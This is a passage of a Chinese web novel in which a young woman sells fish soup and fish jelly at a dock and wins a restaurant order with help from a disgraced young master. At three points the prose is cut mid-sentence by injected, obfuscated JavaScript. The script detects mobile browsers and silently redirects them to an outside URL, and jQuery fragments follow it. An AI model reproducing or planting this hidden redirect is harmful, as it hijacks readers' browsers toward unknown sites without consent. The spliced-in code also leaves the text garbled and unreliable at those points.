王翠花又拉着刘翠兰说了好一会儿话,从菜园子说到码头上的物价,从李有福扛沙包说到她家柱子的亲事,直到刘翠兰说起半月还要去镇上卖东西,她才拍了下大腿。 “我今儿个也要去镇上,胖丫带那么多东西不方便,坐我家牛车一道去吧,反正顺路!” “胖丫,你先收拾着哈,我一会儿驾牛车来接你!”王翠花不等半月拒绝,就起身风风火火的出去了。 “去吧,你王婶子心眼好,能搭车就搭车去,不过咱也不占人便宜,该给的车费还是要给。”刘翠兰冲半月说。 “诶。”半月应了声。 半月把剩下的鱼冻片码进食盒里,又把烧开的鱼汤装进瓦罐,用布裹紧了保温。 临出发的时候,沈金宝跟了上来。 “你也要去?”半月看了他一眼。 “小爷正好顺路,去镇上买双鞋。”沈金宝说得面不改色,脚上那双布鞋大脚趾都快顶出来了,这话倒是不假。 半月心想,你交了租子不是没银钱了吗?她上下打量了他一眼。 沈金宝被她看得表情僵了一瞬,撇了撇嘴:“镇上旧衣摊子有旧鞋,两文钱一双,这两文小爷还是有的。” 半月轻笑一声,没再说什么,从墙角找了一根粗木棍递给他当拐杖。 王大娘赶着牛车到了院门口,车板上铺着干草。半月把瓦罐和食盒小心地搬上车,沈金宝撑着木棍,一瘸一拐地爬上去,在干草堆上坐稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500278|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 王大娘回头看了他一眼,笑道:“小伙子腿还没好利索,也帮着上街卖东西?真勤快。” 沈金宝笑了笑:“应该的。” 牛车晃了一下,拐杖碰到车板发出闷响,他身子往半月这边歪了歪,赶紧坐直,不自在地把目光移到路边的庄稼地上。 牛车比两条腿走路快了许多,一炷香多一点的功夫,三人就到了青溪码头。 沈金宝帮着半月一起把瓦罐和食盒从牛车上搬下来。 “胖丫,我得上布庄去扯几尺布,你卖完了就在这儿等我,咱一道回去。” 王翠花把缰绳往牛鞅子上绕了两圈,又看了沈金宝一眼:“小伙子,腿脚不方便就别到处跑了,街上人多,当心碰着。” 沈金宝笑着应了一声。 半月掏出四文钱塞给王翠花,王翠花摆摆手说什么也不肯收,然后驾着牛车风风火火就走了。 布庄在街东头,她的身影三拐两拐就混进了赶集的人群里。 半月只得作罢,想着等以后有机会再答谢她。 这会儿快到晌午,半月他们到码头的时间刚好,有些提前下工的汉子已经在附近买饭吃了。 半月在码头边找了块空地,把瓦罐搁在地上,瓦罐用布裹了好几层,掀开一角,热气涌出来,鱼汤的鲜味混着野葱的清香,在码头上飘散开。 食盒里的鱼冻片码得整整齐齐,看上去晶莹剔透的。 半月路上已经盘算好了:鱼汤一文钱一碗,鱼冻费工费料、卖相又好,卖两文钱一份不过分。 她拿碗装了几片鱼冻,放在食盒盖子上当样品。 这次出来她把家里的碗都带出来了,但还是不够,等有了钱,得给家里添置些餐具。 这时,有两条货船靠岸,扛活的工人擦着汗下船,跳板被踩得咯吱作响。 半月清了清嗓子:“鱼汤——热乎的鱼汤——” 码头上嘈杂,但半月的声音清脆,穿透力强。 几个蹲在墙根底下歇气的工人偏过头来,看了一眼她面前的瓦罐。 一个脸膛黝黑的汉子站起来,走到她摊前,低头看了看瓦罐里的汤。奶白的汤里浮着豆腐丁和细碎的鱼肉,野葱翠生生地漂在上面。 “你这汤怎么卖的,能尝不?” “一文钱一碗。”半月舀了一小勺递过去。 汉子喝了一口,咂了咂嘴,从怀里摸出一文铜钱搁在她手心里。 “来一碗。” “诶!”半月笑眯眯地盛了一碗,双手递过去。 汉子端着碗蹲回墙根底下,低头喝了一口,旁边几个工人闻着味凑过来。 一个矮个子的吸了吸鼻子,问多少钱,汉子说一文。 矮个子犹豫了一下,又看了看旁边喝汤的汉子,也摸出一文钱走向半月的摊位。 不到半个时辰,瓦罐里的热汤卖掉了一大半,半月一边盛汤一边收钱,铜钱落在掌心叮当响,她把铜钱一枚一枚拢进帕子里,帕子渐渐鼓起来。 码头上的工人吃饭不讲究,便宜管饱就行。热汤配杂粮饼子,一文钱的汤够他们把干粮顺下去。卖得快,不稀奇。 但食盒里的鱼冻,一份也没卖出去。 有人问了价钱,听见两文钱就缩回手去,说一文钱能喝碗热汤,两文钱吃块凉冰冰的东西,划不来。半月也不急,把食盒盖子重新摆正,鱼冻在日光底下还是透亮的,一点没化。 日头越来越高,码头上的工人换了一拨。瓦罐里的热汤见了底,半月把最后一点汤刮出来,盛了半碗,送给了一个来晚的老工人。 帕子里的铜钱沉甸甸的,她数了数,有四十三文。 但鱼冻还是一份没动。 “胖丫头,要不你这鱼冻卖一文钱一份?你这东西是不赖,可两文钱够买一个杂粮饼子填肚子了。”早先那个脸膛黝黑的汉子还没走,蹲在墙根底下剔牙,“你这玩意儿凉冰冰的,嚼两下就没了。” 半月摇了摇头。 鱼骨虽然没花钱,可豆腐是买来的,盐、醋、调料样样都要钱。鱼冻费了这么多功夫,必须值两文钱。 可要是一份卖不出去,就全砸手里了,该怎么办? 沈金宝坐在旁边的石阶上,左腿伸得直直的。 他看了一会儿半月摊前冷清的食盒,又看了看码头上来来往往的工人,忽然开口:“胖丫头,你这鱼冻,卖错了地方。” 11. 醉仙酒楼 半月诧异地看了他一眼。 “码头上的苦力,你让他们花两文钱吃一口凉菜,几乎没可能。”沈金宝杵着木棍站起来,左脚点着地,稳了稳才松手,“你这东西,得卖给能尝出味道的人。” “卖给谁?” 沈金宝用下巴朝街那头点了点:“青溪码头往东走,有一条青石街,那儿好几家酒楼饭馆。你带上鱼冻,去问问他们的采买,要不要添一道凉菜。” 半月低头看了看食盒里的鱼冻,又看了看他:“酒楼?他们会要吗?” “你不是说这东西费工费料、卖相好吗?”沈金宝瞥了她一眼,“码头上的工人不认,不代表酒楼里的食客不认。那些人嘴刁,舍得花钱。你这鱼冻端上桌,切得漂漂亮亮,浇一碟料汁,怎么也比一碟腌萝卜强。” 半月没接话,低头看着食盒里的鱼冻,表情有些纠结。 “汤卖完了,你还守在这儿做什么?”沈金宝拄着木棍往前迈了一步,左腿拖了一下又稳住,“走吧,小爷脚疼走不快,你提着东西慢点跟上来。” 半月抿了抿唇,站起来,转身跟斜对面卖豆腐的孙大娘打了个招呼,请她帮忙照看瓦罐。 孙大娘正往木盆里添水,抬头应了一声:“去吧胖丫,放这儿没人动你的。” 半月跟上沈金宝。 码头往东走不到一里地就是大庙镇的街市。镇子不大,街面铺着青石板,被牛车碾得坑坑洼洼的,石板缝里长着几丛枯草。 街两边的铺子挨在一起,布庄门口挂着两匹靛蓝布,风一吹晃晃悠悠;杂货铺的竹筐摞到门框高;药铺门口蹲着个煎药的老婆子,蒲扇慢悠悠地摇。 最气派的是一栋两层木楼,门脸上挂着块匾,上头写着“醉仙楼”三个字,黑底金字,窗格子擦得锃亮。 两人在醉仙楼对面站住了。 “进去以后,我来说。”沈金宝把木棍靠在一棵槐树上,将身上的旧衣裳理得板板正正。 半月看了他一眼,点了点头。 大堂里这会儿正是饭点,坐了十几桌客人。跑堂的伙计穿梭不停,菜碟摞在托盘上举得老高。一个伙计正蹲在角落里擦桌子,肩膀上搭着条白巾,听见脚步声头也没抬。 半月硬着头皮走进去,食盒提在手里,手心出汗。 “那个……请问,你们掌柜的在吗?” 伙计抬起头,上下扫了她一眼。 粗布衣裳,袖口打着补丁,手里提着个旧食盒,这身打扮他一天能见好几拨,都是来卖菜的。 “去去去,这儿不收菜。”伙计不耐烦地挥了挥手,白巾从肩膀上滑下来,他一把捞住。 半月张了张嘴,还想说什么,沈金宝从她身后走了出来。 “劳驾,烦请掌柜的出来看一眼。”他语气不紧不慢,不像求人,倒像来商量什么事。 伙计瞥了他一眼,见他穿得比半月还寒酸,手里还拄着根木棍,更是懒得搭理:“掌柜的忙着呢,没空看什么菜。你们快走,别耽误我做生意!” 说完拿起抹布,故意在他们面前甩了甩,水珠子溅在半月袖口上,几点深色印子洇开来。 半月脸涨得通红,提着食盒杵在原地,走也不是留也不是。她上辈子做菜,别说被人往外赶,想请她去掌勺的都得排队。 沈金宝没动。他看了伙计一眼,那眼神不凶,但带着一种让人不太敢接着赶的劲儿。 他的目光在大堂里转了一圈,落在一桌靠窗的客人身上,那桌人点了四五道菜,碟子摞着碟子,盘边描着金边。他收回目光,拍了拍半月的肩膀。 “先出来。” 两人退到街边的墙根底下,半月压低声音问:“怎么办?” “跟我走。”沈金宝跛着脚走在前面。 “你干嘛去?” “买盘子。”沈金宝头也不回,“你这鱼冻得摆出样子来,拿个破陶碗装着,人家看都不看。” 他走得急,左脚崴了一下,身子往旁边歪了歪。半月伸手去扶,他摆了摆胳膊,自己稳住了,拐进隔了一条街的杂货铺。 杂货铺里靠墙的货架上摆满了碗碟,粗陶的、白瓷的、青花的,一层一层摞着。沈金宝蹲下来挨个看,粗陶的嫌笨,白瓷的嫌薄,拿起一个放一个,最后弯下腰,从最底下一层翻出一只浅口碟。 白底,盘边描着一圈淡蓝色的缠枝纹,中间凹下去一块,刚好能摆一份鱼冻。 “多少钱?” “十文。”掌柜是个干瘦老头,坐在柜台后头拨算盘,头也没抬。 “十文?”半月差点把碟子撂回去。她卖一晌午鱼汤,连本带利也才挣了四十三文,这一个碟子就要十文? 沈金宝把碟子递到她面前:“这叫花在刀刃上。你一份鱼冻卖两文没人买,摆好看了卖四文。你那些鱼冻能装个十六份,一份多赚两文,十六份多赚三十二文。减去这十文,还多赚二十二文。” 半月咬了咬牙,掏了十文钱。 两人回到醉仙楼门口。沈金宝让半月把一份鱼冻扣在浅口碟里,重新浇上料汁,撒了几粒野葱花。 淡蓝色的缠枝纹从琥珀色的冻子底下透上来,衬得鱼冻愈发剔透,里面的豆腐丁和鱼肉丝清清楚楚,连断口处的纹路都看得见。 伙计正要去后堂送菜,沈金宝把碟子往他托盘上一搁:“麻烦把这个端给你们掌柜的尝尝,不耽误他工夫。他要是看不上,我们扭头就走。” 伙计低头看了一眼那碟鱼冻,确实好看,晶莹剔透的一碟,光看着就叫人嘴里泛口水。他犹豫了一下,端着托盘进去了。 不多时,后堂的门帘一掀,一个四十来岁的中年人走了出来。身上穿着青绸袍子,白白净净的,手里端着那碟鱼冻,已经少了两片。 “这谁做的?怎么卖的?”周掌柜的目光越过沈金宝,落在半月身上。 “我做的,四文钱一份。”半月上前一步。 周掌柜又夹了一片放进嘴里,嚼了嚼,点点头:“味道不错,卖相也好。”他看了看半月,又看了看沈金宝,“你们想往我这儿供货?” 半月连忙点头。 周掌柜却把碟子搁在旁边的桌上,话锋一转:“不好意思,我们醉仙楼有固定的凉菜师傅,外头的东西不好随意加。二位的心意我领了,这碟子鱼冻我买了,按你们的价。”他从袖子里摸出四文钱递过来。 沈金宝没接那钱,靠在门框上,把木棍换了个手,语气懒洋洋的:“周掌柜,对面那条街听说要开新酒楼?叫什么来着——百味楼?” 周掌柜的手一顿,脸上的笑淡了几分。 “百味楼一开,您这儿的老客人怕是坐不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500279|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。到时候人家菜单上花样翻新,您这儿还是老几样。” 沈金宝下巴朝那碟鱼冻点了点:“您现成的凉菜师傅,能做得出这一味吗?这东西费功夫,费料,卖相好,味道别家做不出来。您要是先上了桌,客人认准了您这一口,百味楼拿什么抢?” 周掌柜看着他,沉默了几息,把四文钱收回袖子里。 “东西我尝了,确实不错。但我不能今天见了就拍板。”他顿了顿,“谁知道你们明天还能不能做出一样的来?” 这话说得在理,半月没法反驳。 沈金宝也没再说什么,端起那碟鱼冻,拉着半月出了醉仙楼。 “走。”他往醉仙楼对街一指,“就蹲这儿。” “干嘛?” “卖,就在他眼皮子底下卖!” 半月看了看醉仙楼的大门,又看了看沈金宝。他已经盘腿坐在石阶上,把木棍搁在旁边,一脸无所谓的样子。 半月把食盒打开,那只描蓝花的浅口碟摆在最前面。琥珀色的鱼冻淋着姜醋汁,野葱碎碧绿的一撮,日头一照,亮晶晶的。 一个穿青绸衫的妇人拎着菜篮路过,低头看了一眼,停下来:“这什么东西?” “玲珑鱼冻,四文一份。”沈金宝替半月答了。这名字是他刚才蹲在街边临时想的,张嘴就来,倒也不心虚。 妇人犹豫了一下,拿手指拈了一片尝。嚼了两下,眉毛一挑,从荷包里摸出四文钱搁下,端走了一份。 “这大姐倒是爽快。”半月小声嘀咕了一句。 沈金宝没说话,只笑着挑了下眉毛。 不到一炷香的工夫,又来了两个客人,都是在醉仙楼吃完饭出来的,嘴上还泛着油光,闻着酸鲜味就围过来了。 “这什么吃食?闻着怪开胃的。” “玲珑鱼冻,四文一份。” “来一份。” “我要两份,带一份回去给家里那口子。” 食盒里的鱼冻一份接一份见少,半月蹲在地上,收铜板递鱼冻,手指头忙得停不下来。铜板落进帕子里,叮叮当当的,她每听见一声响,嘴角就往上翘一点。 周掌柜不知什么时候站在了醉仙楼门口,手里端着杯茶,茶都凉了也没喝一口,只看着对街那几个蹲在路边排队的人,那些都是他店里的老客。 有人吃完了还拿手指沾料底回味,又冲酒楼这边喊了一声:“掌柜的,你们这儿也该上几道这种凉菜,吃完大荤来一份,解腻!” 周掌柜没应声,端着那杯凉茶回了柜台。 不到半个时辰,除了那份试吃的,食盒里的鱼冻全卖光了。 半月原地蹲着数铜钱,一文一文地数完,抬起头,眼睛亮得很。 “沈金宝,鱼冻卖了五十六文!” “嗯。” “加上上午的鱼汤,咱们一天就卖了九十九文!”半月把铜钱拢在一起,指头拨得哗啦啦响。 沈金宝盘腿坐着,左腿伸得直直的,手里玩着木棍上翘起来的一截树皮。他看着她数钱的样子,嘴角弯了一下。 “还差一文就整一百了。”他说。 半月把钱小心地包进帕子里,包好了还拿手按了按:“这一文我明天一定挣到。” 沈金宝忽然压低声音:“把东西收好,周掌柜过来了!” 12. 不养闲人 半月回头,看见周掌柜朝他们走过来。走到食盒前站定了,弯腰拈起最后一块试吃的鱼冻放进嘴里,嚼了嚼。 “明天还能做吗?”他问。 “后天吧。”半月站起来,“明天我得先去采买最新鲜的鱼货。” “行。隔一天送一次,每次二十份,四文一份我全收。” 周掌柜从袖子里摸出一小锭碎银子:“这是一百文订金,先付了。我也不怕你跑路,这小镇就这么大,凭你的手艺,没必要跑。” 半月接过银子。那碎银子搁在手心里,温温热热的,不知道是刚从袖子里摸出来的缘故,还是她手心在出汗。她收拢手指,把银子攥紧了。 “成。” 周掌柜转身往回走,走了两步又停下来,侧头说了一句:“下次来走偏门,别在大堂堵着。” 半月连声应好,把食盒盖上,心情好得像要飞起来。 她和沈金宝刚走出街口,对面一个穿湖蓝色绸衫、挺着大肚子的年轻人正从布庄里出来,身后跟着两个小厮。他看见沈金宝,先是一愣,然后脸上堆出一个夸张的笑。 “哟?这不是沈金宝沈大少爷吗,今儿个怎么穿得跟个乞丐似的?”那人故意把“乞丐”两个字咬得很重,声音又尖又亮,街上的人都偏过头来看。 沈金宝的表情僵了一瞬,很快又恢复成那副吊儿郎当的样子:“钱大富,你眼睛倒是不瞎。” 钱大富踱过来,目光从沈金宝的木拐扫到他粗布衣裳,又落在他脚上那双顶出脚趾的旧布鞋上。 “啧啧,沈少爷这是体验民间疾苦来了?听说你家倒了,你爹带着姨娘跑了,连句话都没给你留?当年在书院横着走的沈金宝,如今瘸着腿跟在个胖厨娘后头卖凉菜?” 他越过沈金宝,笑嘻嘻地往半月跟前凑:“这厨娘是你什么人?你俩什么关系?”说着伸手就要拨拉半月。 沈金宝一把攥住他的胳膊。 指节咯咯响了一声,钱大富的袖子都被捏皱了,他挣了两下没挣开,疼得龇牙咧嘴:“松手!你踏马松手!沈金宝你疯了?” 沈金宝没松,手指反而收得更紧。 钱大富的脸涨成了猪肝色,嘴上却不肯服软:“你以为你还是沈家大少爷?一个臭要饭的,敢跟我动手?信不信我让你在大庙镇待不下去!” 沈金宝偏头看了半月一眼,她正站在他身后,手里的食盒端得稳稳的,眉头微皱,直直地盯着钱大富。 沈金宝的喉结滚了一下。 他松开了手。 钱大富捂着手腕退后两步,声音更大了:“沈金宝,你等着!你今天敢动我,我让你……” 他顿了一下,目光扫过沈金宝身后的半月,忽然笑了,那笑容里带着几分不怀好意:“哦~我说你怎么怂了呢,原来是怕连累这个小厨娘?” 沈金宝冷笑一声:“她?胖得跟头猪似的,也配和小爷我走在一起?” 他把木拐往地上一杵,转身就走,左腿拖在身后,脊背却挺得笔直。 钱大富揉了揉手腕,冲他背影啐了一口:“丧家之犬,跑得倒快。还以为要跟我动手呢,原来是个怂包,沈家倒了,连骨头都软了!” 骂完,他转过身,视线落在半月身上,上下打量了一番,轻嗤一声:“胖是胖了点儿,不过皮肤挺白,模样倒也不错。你说你跟谁不好,跟这么个废物?他连自己都养不活,能给你什么?不如跟着小爷我——”说着伸手去摸半月的脸。 半月后退一步,避开了。 “跑什么?”钱大富的手落了空,脸上的笑僵了一下,随即拔高了嗓门,“小爷跟你说的话记住了,离他远点!不然你那小摊子,别想在大庙镇摆下去!” 半月本来已经转身走了几步,闻言停住了。 她转过身来,端着食盒,看着钱大富,脸上带着笑,声音不高不低:“钱少东家,我的生意不劳您操心。有那闲工夫,不如先治治您的口臭——熏人!” 说完,她转身就走,再没回头。 钱大富愣在原地,旁边一个小厮凑上来想说句什么讨好的话,被他一把推开:“滚!” 半月走出街口的时候,沈金宝已经到了拐角。他背对着她,拄着木拐,左腿点着地,听见脚步声也没回头。 半月走到他旁边,侧头看了他一眼。他脸上没什么表情,嘴角那点惯常的痞笑没了。 “刚才对不住了。”沈金宝低声说,声音不像平时那样懒洋洋的。 “你不该顶他,他那人记仇得很。”沈金宝说? “我不顶他,他就会放过我了?”半月走在他旁边,“你是不是因为这个才忍的?怕他找我麻烦?” 沈金宝没接话,拄着木杖往前走。 走出几步,才从嗓子眼里憋出一句:“小爷的事,不用你操心。” 半月抿了抿唇,追上去:“沈金宝,你和传闻里的纨绔,不太一样。” 沈金宝的步子顿了一下,他没回头,也没再说话,但半月注意到,他攥着木拐的手,慢慢松开了些。 钱大富咬牙看着半月消失的背影,脸上扬起一抹阴沉的笑容,他朝身后的小厮摆了摆手:“走。” 三人一起进了醉仙楼。 周掌柜正在柜台后面算账,抬头看见钱大富那张油光满面的脸,手里的算盘珠子顿了一下,随即堆起笑容迎上去:“哟,钱少爷,什么风把您吹来了?楼上雅座请!” 钱大富没客气,挺着肚子往大堂正中的椅子上一坐,翘起二郎腿。小厮赶紧端茶递水。 “周掌柜,听说你今天定了个胖丫头的鱼冻?”钱大富端起茶杯,吹了吹浮沫,不紧不慢地问。 周掌柜的笑容僵了一瞬,连忙赔笑:“是有这么回事。那鱼冻味道不错,卖相也好,小的就想着……” “就想着多赚几个钱?”钱大富打断他,把茶杯往桌上一搁,身体前倾,压低了声音,“那胖丫头跟小爷有点过节,你收她的东西,就是跟小爷过不去。” 周掌柜脸上肌肉抖了抖,额角渗出细汗:“钱少爷,这……小的不知道啊。再说了,她一个小村姑,哪里值得您……” “值不值得,小爷说了算。”钱大富站起身,拍了拍衣摆,走到门口又回头,“周掌柜是聪明人,做生意嘛,眼睛得放亮点,别为了几文钱的鱼冻,把酒楼给搭进去了。” 说完,他哼着小曲,挺着肚子出了醉仙楼。 周掌柜站在柜台后面,脸上的笑容一点一点收了回去。他看了一眼装鱼冻的盘子,盘底只剩一层料汁,最后叹了口气,把算盘珠子拨得啪啪响。 …… 两人往码头方向走。经过粮铺的时候,半月停了下来。 “等我一下。” 她进粮铺买了五斤杂粮面。掌柜的拿秤称了,五文钱一斤,五斤二十五文。半月从帕子里数出铜钱递过去,把面袋子拎在手里,沉甸甸的,够家里吃上好几天。她又看了一眼柜台上十文一斤的白米,犹豫了一下,没买。 出了粮铺,她把面袋子换到左手,右手从帕子里又数出十文铜钱,递到沈金宝面前。 “今天卖鱼冻,全靠你的法子。这十文钱是你应得的。” 沈金宝低头看着那几枚铜钱,没接,嘴唇动了动:“不用。” “不是说好了两文钱买鞋?十文够你买双新的,不用去旧衣铺子翻旧的。”半月把钱又往前递了递。 沈金宝偏过头往前走:“脚还肿着,买了也穿不上。等消肿了再说。”他把木拐换了个手,“先欠着,等我脚好了,我自己去买。” 半月看着他的背影,把铜钱收回帕子里。 两人绕回码头,在孙大娘的豆腐摊取回了瓦罐。半月掏出五文钱,跟孙大娘预定了三块豆腐,说好明天一早来取。孙大娘笑着应了,把钱收进围裙口袋里。 忙完这些,半月才匆匆赶去和王婶子约定的地方。远远就看见王婶子站在牛车旁边,正朝街口张望。一瞧见他们,她快步迎上来,嗓门大得半条街都能听见:“哎呀,你们可算来了!我等了好一阵了,还以为出什么事了呢!”语气急急的,却没有恶意。 “让婶子久等了。”半月连忙赔笑,把瓦罐和食盒搬上车。沈金宝撑着拐杖爬上去,王婶子伸手扶了他一把,嘴里念叨着:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508260|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿脚不方便就别到处跑,让你们家胖丫一个人来就是了。” “好嘞,婶子。”沈金宝乖乖应了一声。 牛车晃晃悠悠往回走,王婶子一路上东拉西扯,半月随口应着,心思却一直飘在那一百文订金上。 下车的时候,半月趁王婶子转身去解牛绳,悄悄把四文钱塞进了她新扯的那几尺布里。 到家的时候,日头已经偏西了。李有福还没回来,李冬生放了学,正蹲在院子角落里拿树枝在地上练字。 刘翠兰从灶房里出来,帮半月搬瓦罐和食盒。 “回来了?生意怎么样?”刘翠兰把东西放好后,拍了拍围裙。 半月想了想,没提醉仙楼的事,只说:“还行,鱼汤卖了不少,我后天还去码头摆摊。” 订单还没稳定,她不想让家里人空欢喜一场,等跟醉仙楼合作稳了,再说不迟。 沈金宝帮着把杂粮面袋子提进院子。 半月接过袋子,递向刘翠兰:“娘,我还买了点杂粮面。今儿能赚到钱,还多亏了沈金宝出注意。” 刘翠兰接过去,低头一看,鼓鼓囊囊一袋子,她愣了一下,抬起头看着半月,眼神满是惊讶。 又暼了眼沈金宝。轻轻“嗯”了一声,语气不咸不淡的,但好歹不像往常那样板着脸。 说完目光转回半月身上,嘴上立刻数落起来:“你说你这孩子,买这个做什么?家里又不是没有吃的,让你爹晓得了,又该说道我了。”话是责怪,脸上却带着笑意。 “镇上那家粮铺秤不准,你也不等我一块去买,可别花了冤枉钱…”刘翠兰絮絮叨叨地说着,笑眯眯抱着布袋子往灶房去。 半月看见她眼角有细细的笑纹,嘴唇抿着,却怎么都压不住那个往上弯的弧度,不由也跟着扬起了嘴角。 家人开心,她也跟着开心。 晚饭的时候,李有福刚从码头回来,洗了手脸,在桌边坐下。 刘翠兰摆了五副碗筷,沈金宝坐在石桌边上,面前也搁了一只碗。 李有福看了一眼沈金宝的碗,又看了一眼刘翠兰,没说什么。 刘翠兰端着粥锅过来,给每人盛了一碗。轮到沈金宝时,她动作没停,也没多看他,只是声音平平地说:“吃吧。” 沈金宝接过去,低头喝了一口。粥是红薯粥,米粒比前几天多了些,稠乎乎的。 李冬生偷瞄了沈金宝一眼,埋头扒粥,筷子碰着碗沿叮叮响。 刘翠兰放下粥锅,在围裙上擦了擦手,清了清嗓子:“咳…那个沈金宝,我把丑话说前头,你交的租子,是住柴房的,吃饭是另一码事,我们家不养闲人,想在这儿顿顿吃上饭,就得干活。” 李有福端着碗,抬眼看了看两人,没吭声,低头喝粥。他一向不管家里这些琐事,但刘翠兰的话,他听进去了。 半月没说什么,她心里是赞同的,租子归租子,吃饭归吃饭。 沈金宝不是来当大爷的,该干活得干活。他那味觉的确灵敏,可在乡下不起作用。 沈金宝放下碗,语气认真:“婶子说得对,我在这白吃白喝说不过去,您说干什么活?我干。” 刘翠兰扫了他一眼,目光落在他肿着的脚踝上:“你脚还没好利索,重活干不了。先干些轻省的,吃完饭把碗洗了,灶台收拾干净,明儿早起把院子扫一遍。” 她顿了顿,又补了一句:“等腿好些了,再挑水、劈柴。” “成,没问题!”沈金宝爽快答应。 没见过猪跑,还没吃过猪肉吗?这些小事看一遍就会了。 李有福搁下筷子,叮嘱了一句:“洗得干净点,别摔了碗。” 这出了名的纨绔,怎么看都不像是会做这些粗活的主,可别把家里的家伙什给败坏了。 沈金宝看着李有福,认认真真应了一声:“知道了,叔。” 李冬生眼珠子转了转,忽然开口:“娘,他要是光会洗个碗扫个地,那也太便宜他了,咱家又不缺洗扫的人。” 沈金宝挑眉一笑:“那这样,除了干活,我再教你练字。你那狗爬一样的字,总得有人救救。” 13. 笨手笨脚 李冬生被戳了痛处,脸一下子涨得通红:“你——谁狗爬了!那是孙夫子没教好!” “孙夫子教得再好,也架不住你手腕子是硬的。” 沈金宝起身,从灶台里取出一根没烧完的碳条,在院子泥地上写了“李冬生”三个字,横平竖直,筋骨分明,最后一笔收得稳稳当当,碳灰都没飘。 李冬生趴在地上看了好几眼,嘴巴张了张,说不出话来。 沈金宝把炭条递给他:“看得明白吗?什么叫字如其人。” 李冬生接过炭条,犹豫了一会儿,在自己写的丑字旁边歪歪扭扭地描了一遍。描完抬头,脸红红的,嘴还硬着:“还行吧……我这是没好好写,好好写了比你这个还好。” “那你好好写一个我看看。” 李冬生憋了半天,把炭条往地上一搁:“今天手腕子不舒服。” 沈金宝嗤地笑了一声,没拆穿他。 刘翠兰凑过去看了一眼,心里满意得紧。李冬生的字先生催了好几次了,家里又没钱请人辅导,教冬生写字这一条,倒是正戳在她心坎上。 不过她也没夸沈金宝,只把一盘腌萝卜往桌子中间推了推:“吃饭吃饭,菜都凉了。字写得再好也不能当饭吃。” “能当饭吃。”沈金宝一瘸一拐地坐回自己那根板凳上,“科举场上,字是敲门砖。冬生这笔字,别说敲门,窗都敲不开。” 李冬生刚拿起筷子,闻言又放下了,一脸不乐意。 沈金宝扫了他一眼:“明天开始,每天写完先生的课业,练半个时辰字。我盯着你写,少一撇都不行。” 李冬生扬起下巴:“练就练!别到时候你自己写得丑,还来说我。你今天写得好,谁知道明天还写不写得出来。” “那你明天睁大眼睛瞧着。” 半月在旁边看两人你一句我一句,偷偷弯了弯嘴角。她端起粥碗,低头喝了一口,没掺和这场官司。 吃完饭,沈金宝自觉收拾碗筷。 他先把五个空碗摞在一起,单手端起来,另一只手还拄着拐杖,走了两步就歪歪斜斜的,碗在手里直晃悠。 刘翠兰在灶房里烧水,抬头见他路都走不稳,叹了口气:“搁那就行,一会儿我来收。你脚还没好利索,逞什么能。” “不用,说好了我洗。”沈金宝把碗端到灶台边,放了满满一盆水,拿起丝瓜络,对着碗里刷了两下。碗没洗干净,水倒溅了一袖子,前襟湿了一大片。 他又刷了一下,这回用力过猛,碗从手里滑出去,在盆沿磕了一下,“啪”地碎成两半。 沈金宝手里还举着丝瓜络,整个人僵住了。水顺着袖子往下滴,滴在碎碗片上,滴滴答答的。 半月听见动静从堂屋出来,看见他站在灶台前,一只碗裂在盆里,另一只碗歪在旁边,地上还有两片碎瓷。他那表情,像是做错了什么天大的事。 “怎么了?”李冬生也跑过来,探进头一看,眼睛睁得老大,幸灾乐祸地喊起来,“打碎碗了!娘,沈大少爷打碎碗了!” “你小声点。”半月回头瞪了他一眼。 沈金宝表情尴尬:“这碗……它打滑。” 李冬生捂着嘴,肩膀一抖一抖的,仍在偷笑。 刘翠兰从灶台后面绕过来,看了一眼地上的碎碗,又看了一眼沈金宝的表情。 他站在那儿,手里还攥着丝瓜络,脸上露出几分窘迫,从脸颊一直红到耳朵尖,嘴唇动了动,最后挤出两个字:“我赔。” 半月蹲下来,捡起那两片碎瓷看了看,松了口气:“还好,碎的是那个豁口最多的碗。这个碗早该扔了,娘一直舍不得,今天倒好,有人替你做了主。” 刘翠兰“嗨”了一声,走过去把沈金宝手里的丝瓜络拽过来:“让开让开,看你这笨手笨脚的样,早该想到你这种大少爷干不来粗活了。” 沈金宝没吭声,耳朵更红了。 刘翠兰弯腰把碎瓷捡干净,又换了一盆清水,拿起一只碗,里外刷了两下,搁在旁边的木架上,动作又快又利落。 “碗要捏稳了再刷,丝瓜络蘸水,转着圈来。刷完了拿清水过一遍,别留沫子。沫子留在碗上,下回盛饭一股子腥味,你第一个不乐意。”她把丝瓜络塞回沈金宝手里,“看明白了没?” 沈金宝点了点头,接过丝瓜络,重新拿起一只碗。这回动作慢了许多,碗底捏得死死的,一下一下地刷,像在对付什么要紧的活计。 